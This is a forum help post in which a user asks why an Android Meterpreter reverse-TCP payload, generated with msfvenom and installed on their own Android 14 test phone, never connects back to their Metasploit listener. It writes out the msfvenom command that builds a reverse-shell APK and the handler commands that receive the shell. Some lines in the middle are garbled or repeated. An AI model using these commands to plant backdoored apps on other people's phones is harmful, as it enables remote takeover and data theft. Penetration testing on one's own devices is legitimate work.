Metasploit:Not receiving any incoming connections from the target device

[DipakSmg]

Hello,

I am currently using Metasploit for penetration testing and I’ve encountered an issue with using msfvenom to generate a payload. I am trying to perform testing on my Android 14 device but am not receiving any signals back from the payload.

Here are the steps I have followed so far:

Generated the payload using msfvenom:

msfvenom -p android/meterpreter/reverse_tcp LHOST=XXX.XXX.X.X LPORT=4444 R > /path/to/output.apk

Signed the APK using apksigner.
Aligned using Zipalign
Installed the APK on Device 2 (Android 14) and ensured that the required permissions were granted.
Started the Metasploit handler with the following settings:

use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST XXX.XXX.X.X
set LPORT 4444
exploit

Despite this, when I run the exploit command, I do Hello,

Signed the APK using apksigner.

set LHOST XXX.XXX.X.X
set LPORT 4444
exploit

Despite this, when I run the exploit command, I do not receive any incoming connections from the target device (Device 2).
Troubleshooting Steps:

I verified that the device is on the same network as my Kali Linux machine.
I confirmed that the payload is executing on Device 2 using logcat.
I checked for any open ports using netstat and nc to ensure nothing else is using the same port.

Error Message:

I am not seeing any connection logs in Metasploit even though I have the listener configured properly.

Has anyone encountered this issue before? Any assistance or troubleshooting advice would be greatly appreciated.

Thank you!.
